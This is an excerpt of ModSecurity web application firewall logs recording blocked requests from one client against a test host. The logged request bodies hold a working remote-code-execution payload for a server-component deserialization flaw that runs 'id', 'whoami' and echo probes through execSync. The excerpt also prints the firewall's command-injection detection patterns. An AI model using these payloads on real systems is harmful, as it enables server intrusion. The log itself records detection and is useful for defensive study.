_0x1=process,_0x2=_0x1[&#039;mainModule&#039;],_0x3=_0x2[&#039;require&#039;],_0x4=_0x3(&#039;child_process&#039;),_0x5=_0x4[&#039;execSync&#039;](&#039;echo R2SV2_VULN_TEST&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x2...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeUdyGCWL1cLE7PWB6wAAAAE&quot;]
[Wed Dec 31 07:58:01.220444 2025] [:error] [pid 1095597] [client 213.209.159.150:55496] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${_0x5}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var _0x1=process _0x2=_0x1[mainmodule] _0x3=_0x2[require] _0x4=_0x3(child_process) _0x5=_0x4[execsync](echo r2sv2_vuln_test {timeout:60000})[tostring]() throw object[assign](new error(next_redirect) {digest:`${_0x5}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeUdyGCWL1cLE7PWB6wAAAAE&quot;]
[Wed Dec 31 07:58:01.220665 2025] [:error] [pid 1095597] [client 213.209.159.150:55496] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\&quot;|&#039;))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;504&quot;] [id &quot;933210&quot;] [msg &quot;PHP Injection Attack: Variable Function Call Found&quot;] [data &quot;Matched Data: [&#039;execSync&#039;](&#039;echo R2SV2_VULN_TEST&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`}) found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var _0x1=process,_0x2=_0x1[&#039;mainModule&#039;],_0x3=_0x2[&#039;require&#039;],_0x4=_0x3(&#039;child_process&#039;),_0x5=_0x4[&#039;execSync&#039;](&#039;echo R2SV2_VULN_TEST&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-in [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeUdyGCWL1cLE7PWB6wAAAAE&quot;]
[Wed Dec 31 07:58:01.221587 2025] [:error] [pid 1095597] [client 213.209.159.150:55496] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 20)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeUdyGCWL1cLE7PWB6wAAAAE&quot;]
[Wed Dec 31 07:58:01.221757 2025] [:error] [pid 1095597] [client 213.209.159.150:55496] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeUdyGCWL1cLE7PWB6wAAAAE&quot;]
[Wed Dec 31 07:58:01.393805 2025] [:error] [pid 1096230] [client 213.209.159.150:55510] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var _0x1=process,_0x2=_0x1[&#039;mainModule&#039;],_0x3=_0x2[&#039;require&#039;],_0x4=_0x3(&#039;child_process&#039;),_0x5=_0x4[&#039;execSync&#039;](&#039;id&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2. [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeaEcFrchDKsCVPqzqgAAAB4&quot;]
[Wed Dec 31 07:58:01.393921 2025] [:error] [pid 1096230] [client 213.209.159.150:55510] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var _0x1=process,_0x2=_0x1[&#039;mainModule&#039;],_0x3=_0x2[&#039;require&#039;],_0x4=_0x3(&#039;child_process&#039;),_0x5=_0x4[&#039;execSync&#039;](&#039;id&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeaEcFrchDKsCVPqzqgAAAB4&quot;]
[Wed Dec 31 07:58:01.394003 2025] [:error] [pid 1096230] [client 213.209.159.150:55510] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${_0x5}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var _0x1=process _0x2=_0x1[mainmodule] _0x3=_0x2[require] _0x4=_0x3(child_process) _0x5=_0x4[execsync](id {timeout:60000})[tostring]() throw object[assign](new error(next_redirect) {digest:`${_0x5}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeaEcFrchDKsCVPqzqgAAAB4&quot;]
[Wed Dec 31 07:58:01.394219 2025] [:error] [pid 1096230] [client 213.209.159.150:55510] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:(?:\\\\(|\\\\[)[a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]+(?:\\\\)|\\\\])[0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s]*\\\\([a-zA-Z0-9_.$\\&quot;&#039;\\\\[\\\\](){}/*\\\\s].*\\\\)|\\\\([\\\\s]*string[\\\\s]*\\\\)[\\\\s]*(?:\\&quot;|&#039;))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf&quot;] [line &quot;504&quot;] [id &quot;933210&quot;] [msg &quot;PHP Injection Attack: Variable Function Call Found&quot;] [data &quot;Matched Data: [&#039;execSync&#039;](&#039;id&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`}) found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var _0x1=process,_0x2=_0x1[&#039;mainModule&#039;],_0x3=_0x2[&#039;require&#039;],_0x4=_0x3(&#039;child_process&#039;),_0x5=_0x4[&#039;execSync&#039;](&#039;id&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`});\\x22},\\x22reason\\x22:-1...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-php&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-in [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeaEcFrchDKsCVPqzqgAAAB4&quot;]
[Wed Dec 31 07:58:01.395111 2025] [:error] [pid 1096230] [client 213.209.159.150:55510] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 20)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeaEcFrchDKsCVPqzqgAAAB4&quot;]
[Wed Dec 31 07:58:01.395267 2025] [:error] [pid 1096230] [client 213.209.159.150:55510] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeaEcFrchDKsCVPqzqgAAAB4&quot;]
[Wed Dec 31 07:58:01.561526 2025] [:error] [pid 1096224] [client 213.209.159.150:55522] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;cmd.exe /c echo R2SV2_VULN_TEST&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJecx_6rWfA2Lm-3A_iQAAABg&quot;]
[Wed Dec 31 07:58:01.561639 2025] [:error] [pid 1096224] [client 213.209.159.150:55522] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;cmd.exe /c echo R2SV2_VULN_TEST&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJecx_6rWfA2Lm-3A_iQAAABg&quot;]
[Wed Dec 31 07:58:01.561716 2025] [:error] [pid 1096224] [client 213.209.159.150:55522] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(cmd.exe/c echo r2sv2_vuln_test {timeout:60000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJecx_6rWfA2Lm-3A_iQAAABg&quot;]
[Wed Dec 31 07:58:01.562772 2025] [:error] [pid 1096224] [client 213.209.159.150:55522] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJecx_6rWfA2Lm-3A_iQAAABg&quot;]
[Wed Dec 31 07:58:01.562949 2025] [:error] [pid 1096224] [client 213.209.159.150:55522] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJecx_6rWfA2Lm-3A_iQAAABg&quot;]
[Wed Dec 31 07:58:01.756558 2025] [:error] [pid 1096229] [client 213.209.159.150:55532] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;cmd.exe /c whoami&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;applic [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJefQKzXypmCfOdoSIvAAAAB0&quot;]
[Wed Dec 31 07:58:01.756708 2025] [:error] [pid 1096229] [client 213.209.159.150:55532] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;cmd.exe /c whoami&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;app [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJefQKzXypmCfOdoSIvAAAAB0&quot;]
[Wed Dec 31 07:58:01.756804 2025] [:error] [pid 1096229] [client 213.209.159.150:55532] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(cmd.exe/c whoami {timeout:60000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJefQKzXypmCfOdoSIvAAAAB0&quot;]
